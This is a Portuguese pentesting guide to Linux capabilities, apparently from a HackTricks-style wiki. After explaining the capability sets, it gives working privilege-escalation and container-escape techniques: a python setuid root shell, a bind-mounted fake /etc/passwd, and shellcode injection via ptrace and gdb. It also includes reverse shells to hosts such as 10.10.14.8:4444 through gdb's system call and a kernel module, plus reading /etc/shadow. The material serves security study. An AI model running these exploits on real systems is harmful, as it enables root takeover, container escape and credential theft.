Linux Capabilities

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Linux Capabilities

As capacidades do Linux dividem os privilégios de root em unidades menores e distintas, permitindo que processos tenham um subconjunto de privilégios. Isso minimiza os riscos ao não conceder privilégios de root completos desnecessariamente.

O Problema:

• Usuários normais têm permissões limitadas, afetando tarefas como abrir um socket de rede que requer acesso root.

Conjuntos de Capacidades:

1. Inherited (CapInh):

• Propósito: Determina as capacidades transmitidas do processo pai.

• Funcionalidade: Quando um novo processo é criado, ele herda as capacidades de seu pai neste conjunto. Útil para manter certos privilégios durante a criação de processos.

• Restrições: Um processo não pode ganhar capacidades que seu pai não possuía.

2. Effective (CapEff):

• Propósito: Representa as capacidades reais que um processo está utilizando em qualquer momento.

• Funcionalidade: É o conjunto de capacidades verificadas pelo kernel para conceder permissão para várias operações. Para arquivos, este conjunto pode ser uma flag indicando se as capacidades permitidas do arquivo devem ser consideradas efetivas.

• Significado: O conjunto efetivo é crucial para verificações imediatas de privilégios, atuando como o conjunto ativo de capacidades que um processo pode usar.

3. Permitted (CapPrm):

• Propósito: Define o conjunto máximo de capacidades que um processo pode possuir.

• Funcionalidade: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a capacidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido.

• Limite: Atua como um limite superior para as capacidades que um processo pode ter, garantindo que um processo não exceda seu escopo de privilégio predefinido.

4. Bounding (CapBnd):

• Propósito: Coloca um teto nas capacidades que um processo pode adquirir durante seu ciclo de vida.

• Funcionalidade: Mesmo que um processo tenha uma certa capacidade em seu conjunto herdável ou permitido, ele não pode adquirir essa capacidade a menos que também esteja no conjunto de limites.

• Caso de uso: Este conjunto é particularmente útil para restringir o potencial de escalonamento de privilégios de um processo, adicionando uma camada extra de segurança.

5. Ambient (CapAmb):

• Propósito: Permite que certas capacidades sejam mantidas durante uma chamada de sistema execve, que normalmente resultaria em um reset completo das capacidades do processo.

• Funcionalidade: Garante que programas não-SUID que não têm capacidades de arquivo associadas possam reter certos privilégios.

• Restrições: As capacidades neste conjunto estão sujeitas às restrições dos conjuntos herdáveis e permitidos, garantindo que não excedam os privilégios permitidos do processo.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Para mais informações, consulte:

• https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work

• https://blog.ploetzli.ch/2014/understanding-linux-capabilities/

Capacidades de Processos & Binários

Capacidades de Processos

Para ver as capacidades de um processo específico, use o arquivo status no diretório /proc. Como ele fornece mais detalhes, vamos limitá-lo apenas às informações relacionadas às capacidades do Linux. Observe que para todos os processos em execução, as informações de capacidade são mantidas por thread; para binários no sistema de arquivos, são armazenadas em atributos estendidos.

Você pode encontrar as capacidades definidas em /usr/include/linux/capability.h

Você pode encontrar as capacidades do processo atual em cat /proc/self/status ou fazendo capsh --print e de outros usuários em /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Este comando deve retornar 5 linhas na maioria dos sistemas.

• CapInh = Capacidades herdadas

• CapPrm = Capacidades permitidas

• CapEff = Capacidades efetivas

• CapBnd = Conjunto de limites

• CapAmb = Conjunto de capacidades ambientais

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Esses números hexadecimais não fazem sentido. Usando a utilidade capsh, podemos decodificá-los nos nomes das capacidades.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Vamos verificar agora as capabilities usadas pelo ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Embora isso funcione, há outra maneira mais fácil. Para ver as capacidades de um processo em execução, basta usar a ferramenta getpcaps seguida pelo seu ID de processo (PID). Você também pode fornecer uma lista de IDs de processo.

getpcaps 1234

Vamos verificar aqui as capacidades do tcpdump após ter dado ao binário capacidades suficientes (cap_net_admin e cap_net_raw) para monitorar a rede (tcpdump está rodando no processo 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Como você pode ver, as capacidades dadas correspondem aos resultados das 2 maneiras de obter as capacidades de um binário. A ferramenta getpcaps usa a chamada de sistema capget() para consultar as capacidades disponíveis para um determinado thread. Esta chamada de sistema só precisa fornecer o PID para obter mais informações.

Capacidades de Binários

Os binários podem ter capacidades que podem ser usadas durante a execução. Por exemplo, é muito comum encontrar o binário ping com a capacidade cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Você pode procurar binários com capacidades usando:

getcap -r / 2>/dev/null

Removendo capacidades com capsh

Se removermos as capacidades CAP_NET_RAW para ping, então a utilidade ping não deve mais funcionar.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Além da saída do capsh em si, o comando tcpdump também deve gerar um erro.

/bin/bash: /usr/sbin/tcpdump: Operação não permitida

O erro mostra claramente que o comando ping não tem permissão para abrir um socket ICMP. Agora sabemos com certeza que isso funciona como esperado.

Remover Capacidades

Você pode remover capacidades de um binário com

setcap -r </path/to/binary>

User Capabilities

Aparentemente é possível atribuir capacidades também a usuários. Isso provavelmente significa que cada processo executado pelo usuário poderá usar as capacidades do usuário. Baseado em isso, isso e isso, alguns arquivos precisam ser configurados para dar a um usuário certas capacidades, mas o que atribui as capacidades a cada usuário será /etc/security/capability.conf. Exemplo de arquivo:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Capabilidades de Ambiente

Compilando o seguinte programa, é possível gerar um shell bash dentro de um ambiente que fornece capacidades.

ambient.c

/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}

gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Dentro do bash executado pelo binário de ambiente compilado, é possível observar as novas capacidades (um usuário regular não terá nenhuma capacidade na seção "atual").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Você só pode adicionar capacidades que estão presentes tanto no conjunto permitido quanto no conjunto herdável.

Binários cientes de capacidade / Binários sem capacidade

Os binários cientes de capacidade não usarão as novas capacidades fornecidas pelo ambiente, no entanto, os binários sem capacidade as usarão pois não as rejeitarão. Isso torna os binários sem capacidade vulneráveis dentro de um ambiente especial que concede capacidades a binários.

Capacidades de Serviço

Por padrão, um serviço executado como root terá todas as capacidades atribuídas, e em algumas ocasiões isso pode ser perigoso. Portanto, um arquivo de configuração de serviço permite especificar as capacidades que você deseja que ele tenha, e o usuário que deve executar o serviço para evitar executar um serviço com privilégios desnecessários:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

Por padrão, o Docker atribui algumas capacidades aos contêineres. É muito fácil verificar quais são essas capacidades executando:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

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Privesc/Escape de Container

As capacidades são úteis quando você quer restringir seus próprios processos após realizar operações privilegiadas (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas passando comandos ou argumentos maliciosos que são então executados como root.

Você pode forçar capacidades em programas usando setcap, e consultar essas usando getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

O +ep significa que você está adicionando a capacidade (“-” removeria) como Eficaz e Permitida.

Para identificar programas em um sistema ou pasta com capacidades:

getcap -r / 2>/dev/null

Exemplo de exploração

No seguinte exemplo, o binário /usr/bin/python2.6 é encontrado vulnerável a privesc:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capacidades necessárias pelo tcpdump para permitir que qualquer usuário capture pacotes:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

O caso especial das capacidades "vazias"

Dos docs: Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:

1. não é propriedade do root

2. não tem bits SUID/SGID definidos

3. tem conjuntos de capacidades vazios (por exemplo: getcap myelf retorna myelf =ep)

então esse binário será executado como root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos privilegios administrativos, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, CAP_SYS_ADMIN apresenta desafios significativos de segurança, especialmente em ambientes containerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso exige avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao princípio do menor privilégio e minimizar a superfície de ataque.

Exemplo com binário

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Usando python, você pode montar um arquivo passwd modificado em cima do arquivo passwd real:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

E finalmente monte o arquivo passwd modificado em /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

E você poderá su como root usando a senha "password".

Exemplo com ambiente (Docker breakout)

Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro da saída anterior, você pode ver que a capacidade SYS_ADMIN está habilitada.

• Montar

Isso permite que o contêiner docker monte o disco do host e acesse-o livremente:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk

• Acesso total

No método anterior, conseguimos acessar o disco do host docker. Caso você descubra que o host está executando um servidor ssh, você poderia criar um usuário dentro do disco do host docker e acessá-lo via SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução no host. Para acessar processos em execução no host, o contêiner precisa ser executado pelo menos com --pid=host.

CAP_SYS_PTRACE concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por ptrace(2) e chamadas de anexação de memória cruzada como process_vm_readv(2) e process_vm_writev(2). Embora seja poderoso para fins de diagnóstico e monitoramento, se CAP_SYS_PTRACE estiver habilitado sem medidas restritivas, como um filtro seccomp em ptrace(2), isso pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por provas de conceito (PoC) como esta.

Exemplo com binário (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep

import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Exemplo com binário (gdb)

gdb com a capacidade ptrace:

/usr/bin/gdb = cap_sys_ptrace+ep

Crie um shellcode com msfvenom para injetar na memória via gdb

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

Depure um processo root com gdb e copie e cole as linhas gdb geradas anteriormente:

# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

Exemplo com ambiente (Docker breakout) - Outro abuso do gdb

Se GDB estiver instalado (ou você puder instalá-lo com apk add gdb ou apt install gdb, por exemplo), você pode depurar um processo do host e fazer com que ele chame a função system. (Esta técnica também requer a capacidade SYS_ADMIN).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

Você não poderá ver a saída do comando executado, mas ele será executado por esse processo (então obtenha um rev shell).

Se você receber o erro "No symbol "system" in current context.", verifique o exemplo anterior carregando um shellcode em um programa via gdb.

Exemplo com ambiente (Docker breakout) - Injeção de Shellcode

Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

Liste processos em execução no host ps -eaf

1. Obtenha a arquitetura uname -m

2. Encontre um shellcode para a arquitetura (https://www.exploit-db.com/exploits/41128)

3. Encontre um programa para injetar o shellcode na memória de um processo (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)

4. Modifique o shellcode dentro do programa e compile-o gcc inject.c -o inject

5. Injete e pegue seu shell: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE capacita um processo a carregar e descarregar módulos do kernel (init_module(2), finit_module(2) e delete_module(2) chamadas de sistema), oferecendo acesso direto às operações principais do kernel. Essa capacidade apresenta riscos críticos de segurança, pois permite a escalada de privilégios e a total comprometimento do sistema ao permitir modificações no kernel, contornando assim todos os mecanismos de segurança do Linux, incluindo Módulos de Segurança do Linux e isolamento de contêineres. Isso significa que você pode inserir/remover módulos do kernel no/do kernel da máquina host.

Exemplo com binário

No exemplo a seguir, o binário python possui essa capacidade.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

Por padrão, o comando modprobe verifica a lista de dependências e arquivos de mapa no diretório /lib/modules/$(uname -r). Para abusar disso, vamos criar uma pasta falsa lib/modules:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

Então compile o módulo do kernel que você pode encontrar 2 exemplos abaixo e copie para esta pasta:

cp reverse-shell.ko lib/modules/$(uname -r)/

Finalmente, execute o código python necessário para carregar este módulo do kernel:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Exemplo 2 com binário

No exemplo a seguir, o binário kmod possui esta capacidade.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

O que significa que é possível usar o comando insmod para inserir um módulo do kernel. Siga o exemplo abaixo para obter um reverse shell abusando desse privilégio.

Exemplo com ambiente (Docker breakout)

Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro da saída anterior, você pode ver que a capacidade SYS_MODULE está habilitada.

Crie o módulo do kernel que vai executar um shell reverso e o Makefile para compilá-lo:

reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile

obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

O caractere em branco antes de cada palavra make no Makefile deve ser uma tabulação, não espaços!

Execute make para compilá-lo.

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

Finalmente, inicie nc dentro de um shell e carregue o módulo de outro e você capturará o shell no processo nc:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

O código desta técnica foi copiado do laboratório de "Abusing SYS_MODULE Capability" de https://www.pentesteracademy.com/

Outro exemplo desta técnica pode ser encontrado em https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host

CAP_DAC_READ_SEARCH

CAP_DAC_READ_SEARCH permite que um processo ignore permissões para leitura de arquivos e para leitura e execução de diretórios. Seu uso principal é para fins de busca ou leitura de arquivos. No entanto, também permite que um processo use a função open_by_handle_at(2), que pode acessar qualquer arquivo, incluindo aqueles fora do namespace de montagem do processo. O identificador usado em open_by_handle_at(2) deve ser um identificador não transparente obtido através de name_to_handle_at(2), mas pode incluir informações sensíveis, como números de inode, que são vulneráveis a manipulação. O potencial de exploração dessa capacidade, particularmente no contexto de contêineres Docker, foi demonstrado por Sebastian Krahmer com o exploit shocker, conforme analisado aqui. Isso significa que você pode ignorar as verificações de permissão de leitura de arquivos e as verificações de permissão de leitura/execução de diretórios.

Exemplo com binário

O binário será capaz de ler qualquer arquivo. Portanto, se um arquivo como tar tiver essa capacidade, ele poderá ler o arquivo shadow:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Exemplo com binary2

Neste caso, vamos supor que o binário python tenha essa capacidade. Para listar arquivos do root, você poderia fazer:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

E para ler um arquivo, você poderia fazer:

print(open("/etc/shadow", "r").read())

Exemplo em Ambiente (quebra de Docker)

Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:

capsh --print
